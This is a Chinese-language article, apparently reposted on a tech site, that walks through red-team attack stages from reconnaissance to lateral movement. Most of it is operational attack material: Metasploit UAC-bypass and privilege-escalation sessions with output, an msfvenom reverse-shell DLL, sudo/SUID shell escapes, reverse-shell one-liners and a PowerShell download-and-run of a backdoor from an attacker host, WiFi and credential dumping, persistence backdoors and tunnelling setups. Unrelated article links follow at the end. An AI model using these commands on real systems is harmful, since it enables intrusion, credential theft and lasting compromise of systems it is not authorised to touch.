网络安全红队常用的攻击方法及路径

一、信息收集

收集的内容包括目标系统的组织架构、IT资产、敏感信息泄露、供应商信息等各个方面,通过对收集的信息进行梳理,定位到安全薄弱点,从而实施下一步的攻击行为。

域名收集

1.备案查询

  • 天眼查
  • 爱企查
  • 官方ICP备案查询

    通过以上三个平台,可以查询获得一批主域名、微博、邮箱等。

2.FOFA、Google查询:直接输入公司名称、主域名等进行搜索

domain="xxxx.com"
header="xxxx.com"  
cert="xxxx.com"
host="xxxx.com"
body="xxxx.com"

3.证书查询

4.使用浏览器查询

点击小锁–安全连接–更多信息–查看证书(有些可能没有),可以得到一些主域名以及子域名。

5.dns查询

用dnsdumpster.com查询是否存在自建NS服务器,再将ns名带入https://hackertarget.com/find-shared-dns-servers/进行查询,可以获得一批主域名:

6.whois查询

通过查询目标的WHOIS信息,对联系人、联系邮箱等信息进行反查以及查看whois历史信息,获取更多相关的域名信息;微步在线也可以根据IP、邮箱等查询历史域名。

7.通过众测平台查询资产范围,在众测平台上有些厂商会把资产范围放出来。

8.通过主域名对子域名进行搜索,可使用工具、搜索引擎等。

*   OneForAll:集成多种方式搜集子域名,包括dns查询、证书查询等;
*   Amass:kali自带,集成多种收集方式,强烈推荐;
*   [https://crt.sh/](https://crt.sh/):通过证书查找子域名和指纹识别;
*   [https://dnsdumpster.com](https://dnsdumpster.com):是一个在线实用程序,可以查找子域、目标的DNS记录。

9.直接访问收集到的主域名,对网页上指向的域名链接进行收集(可能会放一些OA等办公系统的跳转)。

10.枚举域名

https://github.com/infosec-au/altdns, Altdns是一个DNS侦察工具,允许发现符合模式的子域。Altdns接收可能出现在域下的子域中的单词(如 test、dev、staging),并接收您知道的子域列表。

11.收集应用资产

11.1 天眼查、企查查

11.2 微信APP搜索(小程序、公众号)

11.3 支付宝搜索(小程序、公众号)

11.4 工具ENScan(可查询企业APP信息、微信公众号信息、供应商信息等)

11.5 APP 查找应用商店、豌豆荚(可下载历史app)

11.6 PC可通过官网进行查找下载

12.根据前几种方式获取相关IP,然后探测可能存在的C段,可获取一些没有相关联信息的隐藏资产,再通过IP反查域名(https://github.com/Sma11New/ip2domain)

IP收集

1.真实IP查找

CDN判断:

  • 多地ping,全球ping,查看解析IP是否一致;
  • NSlookup:通过nslookup查看不同DNS域名解析情况来判断是否使用了CDN;
  • 在线检测:https://www.cdnplanet.com/tools/cdnfinder/
  • 通过https证书:有的cdn颁发的证书带有cdn名称,可通过https证书进行cdn识别; 真实IP查找:
  • 通过查询历史DNS记录站点在做CDN之前可能将域名解析到真实IP,通过查询DNS历史记录可能会找到CDN使用前的真实IP;
  • 子域查询法:CDN服务的使用成本还是挺高的,所以很多的站点只对流量大的主站做了CDN,这种情况下我们通过子域枚举就能获取到子站的真实IP,再进行C段;
  • 全球ping:很多CDN厂商因为某些原因仅对国内线路做了解析,这种情况下使用国外主机直接访问就可能获取到真实IP;
  • 通过网站漏洞,如:phpinfo;
  • 需要找xiaix.me网站的真实IP,我们首先从apnic获取IP段,然后使用Zmap的banner-grab扫描出来80端口开放的主机进行banner 抓取,最后在http-req中的Host写xiaix.me;
  • 利用应用功能,抓取反向连接查找服务器IP,或者根据应用返回/报错查看。 2.通过IP地址注册信息查询:https://ipwhois.cnnic.net.cn/

3.对上面域名解析获得的单个IP输入查询框,会有一个IP范围

4.使用FOFA等互联网资产收集工具直接搜索公司名称

5.C段扫描

  • rustscan:速度快;
  • goby:图形化直观,支持漏洞验证,端口扫描;
  • fscan:速度快,主机存活探测、端口扫描、常见服务的爆破。

敏感信息收集

1.利用Google

  • Google常用语法:site:*.test.cn filetype:xlsx 学号 site:*.test.cn filetype:docx | pdf | csv | json
  • 搜集管理后台:site:xxx.com 管理、site:xxx.com adminsite:xxx.com login 搜集mail:site:xxx.com intext:@xxx.com 搜集敏感web路径:site:xxx.com intitle:登录/site:xxx.com inurl:sql.php
  • site:*.xxx.com intext:Index of/
  • 其他语法:https://www.exploit-db.com/google-hacking-database2.利用托管平台,如:GitHub、码云等

GitHub常用语法:

  • 敏感信息:xx.com “关键字”
  • 文件搜索:xxx.com filename:properties
  • 关键字:Passwords api_key “api keys” authorization_bearer: oauth auth authentication client_secret api_token: “api token” client_id password user_password user_pass passcode client_secret secret password hash OTP user auth注意事项:如果搜索含有空格的查询,需要用引号将其括起来;

3.目录扫描

  • 备份文件/默认后台
  • 源码泄露(.git/.svn) 通过上面的收集能拿到:域名、IP、邮箱、姓名、手机号等,但需要验证是否属于该单位资产,以及需要对域名以及IP进行存活探测、端口扫描、web指纹识别、目录扫描等,快速定位到易被攻击的系统,从而实施进一步攻击。

存活探测,敏感资产定位

  • https://github.com/EASY233/Finger:一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具;
  • https://github.com/al0ne/Vxscan:python3写的综合扫描工具,主要用来存活验证,敏感文件探测(目录扫描/js泄露接口/html注释泄露),WAF/CDN识别,端口扫描,指纹/服务识别等;
  • https://github.com/EdgeSecurityTeam/EHole:在信息收集期间能够快速从C段、大量杂乱的资产中精准定位到易被攻击的系统,从而实施进一步攻击。

二、建立据点

在找到薄弱点后,红队会尝试利用漏洞或社工等方法去获取外网系统控制权限。在这个过程中,红队成员往往会使用最少流量动作去尝试突破边界防御,找到与内网连接的通道,这种由外到内的过程一般称之为纵向渗透,当初步获得权限后,若权限不够会进行提权,在进行稳固权限、建立隧道;

常见打点思路:

  • 社工钓鱼:通过在线客服、私信好友等多种交互平台进行社工攻击,以便更加高效地获取业务信息。社工手段的多变性往往会让防守方防不胜防;
  • 近源渗透:通过乔装、社工等方式实地物理侵入企业办公区域,通过其内部各种潜在攻击面(如Wi-Fi网络、RFID门禁、暴露的有线网口、USB接口等)获得“战果”;
  • 设备、系统应用弱口令;
  • 利用边界网络设备、安全设备漏洞,通过设备VPN搭建隧道;
  • web漏洞:shiro反序列化、struts2 漏洞、Log4j漏洞、Spring框架漏洞、逻辑漏洞、中间件漏洞等;
  • 利用小程序、公众号、APP漏洞;
  • 对CMS、备份泄露的源代码进行审计,使用0Day;
  • 利用旁站、子公司、供应链进行迂回打击。

内网信息收集点

Windows

1.本机信息收集(涉及判断:我是谁?我在哪?这是哪?)

ipconfig /all                        --网卡配置
systeminfo                         --系统补丁信息等
echo %PROCESSOR_ARCHITECTURE%                --系统体系结构
wmic product get name,version                    --安装软件、版本、路径
wmic service list brief                                  --查询本机服务信息
tasklist -svc                        --进程查看
schtasks /query /fo list /v                          --任务计划查询
net statistics workstation                             --开机时间
net user                                 --查看用户
whoami /all                        --SID等用户信息
net localgroup administrators                --查看管理员组中的用户
net session                                              --会话查看
netstat -ano                                     --网络连接以及通过端口判断服务
net share                        --共享
route print                        --路由信息
arp -a                           --arp信息
cmdkey /l                                                --登录历史
hosts文件  Linux:/etc/hosts  Windows:c:\Windows\system32\drivers\etc\hosts
ipconfig  /displaydns                                --dns缓存
net view                         --查看共享
dir /s /b "pass" "user" "config" "username." "password." --命令行查找敏感文件
findstr  /s /m "password" *.*              --寻找包含密码字段的文件,如数据库密码文件
net user /domain                     --查看域用户
net time /domain                     --查看时间服务器(可能为DC)
net group "domain admins" /domain            --查看域管理员
net group "domaincontrollers" /domain          --查看域控制器

2.常见默认配置文件位置

*   Tomcat:CATALINA_HOME/conf/tomcat-users.xml;
*   Apache:/etc/httpd/conf/httpd.conf;
*   Nginx:/etc/nginx/nginx.conf;
*   Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf;
*   Mysql:mysql\data\mysql\user.MYD。

3.SPN

SPN:服务主体名称,使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务。

setspn -T domain.com -Q */*

4.会话、连接收集

net session     //需要管理员权限,列出或断开本地计算机和与之连接的客户端的会话
Navicat         //注册表HKEY_CURRENT_USER\SOFTWARE\PremiumSoft
xshell      //连接记录,可能回存在使用ssh key登录的主机

5.浏览器下载记录、书签、浏览历史以及浏览器保存的密码等

github:https://github.com/djhohnstein/SharpChromium //cookie,passwd,history查看

6.WIFI密码

cmd:
for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

7.任务计划(有些任务执行时需要将用户名和密码一起附上)、远程桌面连接记录等

Linux(CentOS 7)

1.系统版本信息

uname -a
hostnamectl

2.系统环境变量

cat /etc/profile 
cat /etc/bashrc 
cat .bash_profile
cat .bashrc 
cat .bash_logout 
env 
set

3.服务、网络连接以及进程

ps -aux               //进程
top
cat /etc/services
systemctl status ssh //查看某个服务是否在运行
chkconfig --list     //查看所有的服务状态
netstat -aunplt      //网络连接
arp -e
route

4.查看安装程序

rpm -qa
yum list installed

5.常见配置、敏感文件

find / -name *.conf
cat /etc/my.conf      //mysql数据库
cat /etc/httpd/conf/httpd.conf  //apache
tomcat-users.xml       //tomcat
/etc/samba/smb.conf    //samba
cat /etc/resolv.conf   //DNS域名解析
cat /etc/sysconfig/network
cat /etc/hosts
cat /var/apache2/config.inc 
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg
/etc/sysconfig/iptables  //iptables规则

6.查看任务计划

crontab -l         //查看任务计划,有部分恶意任务计划需要crontab -e 编辑才能看到
查看anacron异步定时任务:cat/etc/anacrontab
cat /var/log/cron    查看任务计划日志
cat /etc/crontab
cat /etc/cron.d/
cat /etc/cron.daily/
cat /etc/cron.hourly/
cat /etc/cron.weekly/
cat /etc/cron.monthly/
cat /var/spool/cron/
service cron status  #通过任务计划执行的服务

7.可能有哪些纯文本用户名和密码

grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

8.用户信息

cat /etc/passwd
cat /etc/shadow
ls /home   //家目录
last   //登录成功用户
w
cat /etc/sudoers
ls -alh /var/mail/

9.历史记录

history
cat /root/.viminfo //vim使用记录
cat .bash_history 
cat .nano_history 
cat .atftp_history 
cat .mysql_history 
cat .php_history
cat .python_history

提权

1.基本概念

Windows常见权限分类:

*   User:普通用户权限;
*   Administrator:管理员权限;
*   System:系统权限。

Linux权限分类:

*   User:普通用户权限;
*   www-data:Web服务的权限,比User还要低,一般通过Web漏洞获取的Webshell就是这个权限;
*   root:Linux系统最高权限。

通常有两种提权方式,纵向提权及横向提权;纵向提权指的是低权限角色获取高权限角色的权限、横向提权指在系统A中获取了系统B中同级别的角色权限。常用提权方法有系统内核溢出漏洞提权、服务器中间件漏洞提权、数据库提权、其它第三方组件提权。

2.Windows提权

2.1 提权辅助脚本

http://bugs.hacking8.com/tiquan/```将systeminfo输出的修补程序信息填入查询可利用的漏洞,查出漏洞后可在https://github.com/SecWiki/windows-kernel-exploits/查找下载利用程序进行提权;

2.2 msf提权

2.2.1 使用getsystem(权限为Administrator时大概率会成功,其他可能需要绕UAC)

①进程注入方式UAC
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem②内存注入
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem③Eventvwr注册表项 
use exploit/windows/local/bypassuac_eventvwr④COM处理程序劫持
use exploit/windows/local/bypassuac_comhijack

2.2.2 会话派发到msf使用suggester辅助脚本提权

meterpreter > getuid    //查看权限
Server username: HACK\testuser
meterpreter > background //当前激活的shell切换到后台
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > search suggester   //查找辅助提权模块Matching Modules
================#  Name                                      Disclosure Date  Rank    Check  Description-  ---
-                                      ----
----
----
--
-  ---
-    -----  ----
----
---0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggestermsf5 exploit(multi/handler) > use 0
msf5 post(multi/recon/local_exploit_suggester) > sessions //查看会话Active sessions
===============Id  Name  Type                     Information                      Connection-
-  ---
-  ---
-                     ----
----
--
-                      ----
----
--1         meterpreter x86/windows  HACK\testuser @ WIN-1EVLV0JUJD6  192.168.43.6:8866 -> 192.168.43.87:49394 (192.168.43.87)msf5 post(multi/recon/local_exploit_suggester) > set session 1 //设置会话
session => 1
msf5 post(multi/recon/local_exploit_suggester) > exploit[*] 192.168.43.87 
- Collecting local exploits for x86/windows...
[*] 192.168.43.87 
- 30 exploit checks are being tried...
[+] 192.168.43.87 
- exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 192.168.43.87 
- exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
//以上为查找出来的可利用的漏洞msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc   //选择上面的任意一个漏洞模块进入
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options  //查看需要设置的参数Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):Name     Current Setting  Required  Description---
-     ----
----
----
--
-  ----
---
-  ----
----
---SESSION                   yes       The session to run this module on.Exploit target:Id  Name-
-  ----0   Windows x86msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 1
session => 1
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit [*] Started reverse TCP handler on 192.168.43.6:4444 
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1...
[*] Compressing script contents...
[+] Compressed size: 3596
[*] Executing exploit script...
__ __ ___ ___   ___     ___ ___ ___ [*] Sending stage (180291 bytes) to 192.168.43.87|  V  |  _|_  | |  _|___|   |_  |_  |
|     |_  |_| |_| . |___| | |_  |  _|
|_|_|_|___|_____|___|   |___|___|___|[by b33f -> @FuzzySec][?] Operating system core count: 4
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1212[*] Sniffing out privileged impersonation token..[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1208
[+] Resuming thread..[*] Sniffing out SYSTEM shell..[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!mzCdEBgemRgjV7PHoMA8c4KLG2nLKesP
[+] Executed on target machine.
[*] Meterpreter session 2 opened (192.168.43.6:4444 -> 192.168.43.87:49513) at 2022-06-01 09:30:28 +0800
[+] Deleted C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1meterpreter > getuid  //再次查看权限已为system
Server username: NT AUTHORITY\SYSTEM
meterpreter > 其他提权模块:
exploit/windows/local/unquoted_service_path
set session 1
Exploit -juse exploit/windows/local/service_permissions
set sessions 1
runuse exploit/windows/local/always_install_elevated
set sessions 1
run

2.3 提权

适用版本:Windows 7、8、10、2008、2012

SweetPotato.exe -a whoami

2.4 DLL劫持提权

使用msf生成一个DLL,替换掉应用的dll,等待应用重启(需要提前在本地测试)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f dll

3.Linux提权

3.1 内核溢出提权

  • uname -a 查看系统版本和内核信息
  • 使用searchsploit在kali 查找相关内核漏洞 3.2 sudo提权
sudo --version  //查看版本
sudo -l     //查看当前用户可以使用的sudo的命令程序

常规提权:(需要当前用户密码,如果管理员在/etc/sudoers配置了某些命令免密码使用,则可以利用该命令进行提权) 利用find

sudo find . -exec /bin/sh \; -quit或者sudo awk 'BEGIN {system("/bin/sh")}'

python命令提权sudo python -c 'import pty;pty.spawn("/bin/bash")'其他漏洞CVE-2019-14287、CVE-2021-3156

3.3 suid提权

① 查找具有suid权限文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

执行命令:

find filename -exec whoami \;    //以SUID即root权限执行命令
如果是/usr/bin/bash执行bash -p     //将以root权限打开一个bash shell

② nmap(旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令)

nmap -v   //查看版本
root@localhost:~# nmap --interactive //交互模式
nmap> !sh
root@localhost:~# whoami
root

③ vim Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。

vim.tiny /etc/shadow   //读取文件
vim来打开shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

3.4 su

sudo su 
- #使用root用户登录,不用输入root密码即可切换利用python获取交互Shell
python -c 'import pty;pty.spawn("/bin/sh")'
sudo su

3.5 任务计划

ls -l /etc/cron*
cat /etc/crontab

在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升; 如权限配置不当777的执行脚本,则可以修改脚本内容进行提权;

权限维持

1.反弹shell

nc
attackhost:nc -lvp 9999
target:/bin/bash -i &> /dev/tcp/192.168.0.198/9999 <&1netcat
nc -e /bin/bash 192.168.0.198 9999powershell
将ps1放到attackhost上
powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/Backdoor.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.1 -port 9999python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.webshell

① 内存马隐藏 ② 通过attrib隐藏文件,在使用ADS流隐藏webshell需要和文件包含配合

3.系统后门

Windows ① 利用任务计划定时反弹会话 ② 利用开机启动项 ③ 影子账户以及guest账户 ④ 注册表 ⑤ 系统工具后门(shift后门) ⑥ WMI后门 ⑦ DLL劫持 ⑧ 进程注入 Linux ① ssh、openssh后门 ② 任务计划 ③ VIM后门 ④ 添加超级用户 ⑤ SUID后门 ⑥ 利用自启动程序 ⑦ rootkit后门

4.利用IIS等服务制作后门维持权限

常用隧道建立工具

4.1 探测是否出网

  • ICMP:ping IP;
  • TCP:nc -zv ip 端口;
  • HTTP:curl www.xxx;
  • DNS:nslookup [www.baidu.com] 4.2 网络层常用隧道

4.2.2 IPv6隧道

kali自带,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。

使用:

首先开启目标机上的IPV6,ipconfig查看ipv6地址 kali:6tunnel -4 80 targetipv6IP 80 #这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口上(本机使用IPV4地址)转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务;

4.3 传输层常用隧道

4.3.1 IOX

github:https://github.com/EddieIvan01/iox

使用,比如我们将内网的3389端口转发到我们的attackhost:

target:./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565   #-k启用加密vps:./iox fwd -l *8888 -l 33890 -k 656565

socks代理

修改/etc/proxychains.conf

在本地0.0.0.0:1080启动Socks5服务

./iox proxy -l 1080

在被控机开启Socks5服务,将服务转发到公网attackhost

在attackhost上转发0.0.0.0:9999到0.0.0.0:1080

你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连

./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080       // 注意,这两个端口是有顺序的

接着连接内网主机

# proxychains.conf
# socks5://1.1.1.1:1080$ proxychains rdesktop 192.168.0.100:3389

4.4 应用层常用隧道

4.4.1 SSH

SSH常用参数:

-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口

4.4.2 本地端口转发

//攻击机:192.168.1.1 web服务器:192.168.1.2 数据库服务器:192.168.1.3,攻击机无法访问数据库服务器,但可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问的场景 攻击机执行:ssh -fCNg -L 2022:192.168.1.1:3389 root@192.168.1.2 -p 22 //攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机,此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面

4.4.3 远程转发

//攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机,通过访问攻击机本机的2022端口来访问数据库服务器的3389端口 在web服务器上执行:ssh -CfNg -R 2022:192.168.1.3:3389 root@192.168.1.1 此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面

4.4.4 动态转发

① 攻击机执行:ssh -CfNg -D 2022 root@192.168.1.2 ② 本地设置socks代理后即可访问数据库服务器

4.6 DNS(iodine) 要使用此隧道,您需要一个真实的域名(如mydomain.com),以及一个具有公共 IP 地址的服务器以在其上运行iodined;

三、横向移动

通常进入内网后,同样会进行内网信息收集、域内信息收集,在通过收集的信息进行内网漫游横向渗透扩大战果,在内网漫游过程中,会重点关注邮件服务器权限、OA系统权限、版本控制服务器权限、集中运维管理平台权限、统一认证系统权限、域控权限等位置,尝试突破核心系统权限、控制核心业务、获取核心数据,最终完成目标突破工作。

内网主机存活探测

1.ICMP

Windows:
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="C:\Users\test>for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
来自 192.168.1.1 的回复: 字节=32 时间=2ms TTL=254
来自 192.168.1.3 的回复: 字节=32 时间=127ms TTL=64
来自 192.168.1.5 的回复: 字节=32 时间=14ms TTL=64Linux:
for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; doneroot@localhost:~# for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
192.168.1.1
192.168.1.3
192.168.1.5

4.nmap

ARP 扫描:     nmap -PR -sn 192.168.1.0/24
ICMP 扫描:    nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
SNMP 扫描:    nmap -sU --script snmp-brute 192.168.1.0/24 -T4
UDP 扫描:     nmap -sU -T5 -sV --max-retries 1 192.168.1.1 -p 500
NetBIOS 扫描:     nmap --script nbstat.nse -sU -p137 192.168.1.0/24 -T4

内网主机端口探测

1.单个端口探测

telnet
E:\ipscan>telnet 10.10.25.176 80
正在连接10.10.25.176...无法打开到主机的连接。 在端口 80: 连接失败NC
root@localhost:~# nc -vv 10.10.12.162 22
Connection to 10.10.12.162 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5

2.多个端口探测

fscan    https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 -p 1-65535

通过代理后使用nmap、msf进行扫描

横向移动方法:

  • 利用ms17010等系统漏洞
  • 对跳板机密码进行抓取,使用抓取到密码爆破内网其他主机
  • 利用EDR、堡垒机、云管平台、vmware esxi等集权系统漏洞
  • 使用内网邮件服务进行邮件钓鱼
  • 利用IPC$横向移动
  • smb爆破
  • 对管理端口、数据库进行弱口令爆破
  • 未授权访问漏洞
  • 域渗透相关漏洞
  • 虚拟机逃逸
  • … 从信息收集、建立据点到横向移动,以上红队常用的攻击方法及路径;企业可以从中反思审查自身安全漏洞,补齐和完善应有的防御措施,力求从多方位全面保障自身安全。


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/327512.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL进阶篇(一)存储引擎

一、MySQL 体系结构 (1) 连接层 最上层是一些客户端和链接服务,包含本地 sock 通信和大多数基于客户端/服务端工具实现的类似于TCP/IP的通信。主要完成一些类似于 连接处理、授权认证、及相关的安全方案。在该层上引入了线程池的概念&#xf…

TSConfig 配置(tsconfig.json)

详细总结一下TSConfig 的相关配置项。个人笔记,仅供参考,欢迎批评指正! 另外,如果想了解更多ts相关知识,可以参考我的其他笔记: vue3ts开发干货笔记ts相关笔记(基础必看)ts相关笔记…

【十六】【动态规划】97. 交错字符串、712. 两个字符串的最小ASCII删除和、718. 最长重复子数组,三道题目深度解析

动态规划 动态规划就像是解决问题的一种策略,它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题,并将每个小问题的解保存起来。这样,当我们需要解决原始问题的时候,我们就可以直接利…

Redis基础学习一

1. Redis 入门 1.1. Redis 诞生历程 1.1.1.从一个故事开始 08 年的时候有一个意大利西西里岛的小伙子,笔名 antirez(http://invece.org/),创建了一个访客信息网站 LLOOGG.COM。有的时候我们需要知道网站的访问情况,…

软件测试/测试开发丨Vuetify框架的使用

介绍 Vuetify 是一个基于 Vue.js 精心打造 UI 组件库,整套 UI 设计为 Material 风格。能够让没有任何设计技能的开发者创造出时尚的 Material 风格界面。 为什么要使用Vuetify框架 所有组件遵从 Material Design 设计规范,UI 体验非常优秀&#xff0c…

软件测试|深入解析Docker Run命令:创建和启动容器的完全指南

简介 Docker是一种流行的容器化平台,用于构建、分发和运行应用程序。其中一个最基本且重要的Docker命令是docker run,用于创建和启动容器。本文将详细解析docker run命令的用途、参数和示例,帮助您全面掌握创建和启动容器的过程。 docker r…

Springboot整合MQ学习记录

Mq介绍 RabbitMQ是由erlang语言开发,基于AMQP(Advanced Message Queue 高级消息队列协议)协议实现的消息队列,它是一种应用程序之间的通信方法,消息队列在分布式系统开发中应用非常广泛。支持Windows、Linux/Unix、MA…

论文阅读_InP-Based_Generic_Foundry_Platform_for_Photonic_Integrated_Circuits

InP-Based_Generic_Foundry_Platform_for_Photonic_Integrated_Circuits 时间:2018年 作者:Luc M. Augustin, Member, IEEE, Rui Santos, Erik den Haan, Steven Kleijn, Peter J. A. Thijs, Sylwester Latkowski, Senior Member, IEEE, Dan Zhao, Wei…

计算机毕业设计 SpringBoot的一站式家装服务管理系统 Javaweb项目 Java实战项目 前后端分离 文档报告 代码讲解 安装调试

🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点…

探讨一下WebINFO 下的一些思考

在平时的开发中,我们经常看到一个/WEB-INF 这个目录,这个是web 容器初始化加载的一个标准路径。官方解释:WEB-INF 是 Java 的 web 应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。也就是说,这…

拜佛行善心要诚,否则就是不敬!

佛教所主张的“善因有善果,恶因有恶果”,又叫做“善有善报,恶有恶报”。峰民佛学悟语:“善有善报,恶有恶报。不是不报,时辰未到。”这句话表达的是一种因果循环、报应不爽的善恶法则,它告诉我们…

Redis 键中冒号的用途是什么?可以使匹配查询更快吗?

Redis 键中冒号的用途是什么在Redis中,冒号(:)用作键的分隔符,它的主要作用是创建层次结构和命名空间。通过在键中使用冒号,可以将键分为多个部分,从而更好地组织和管理数据。 以下是冒号在Redis键中的用途…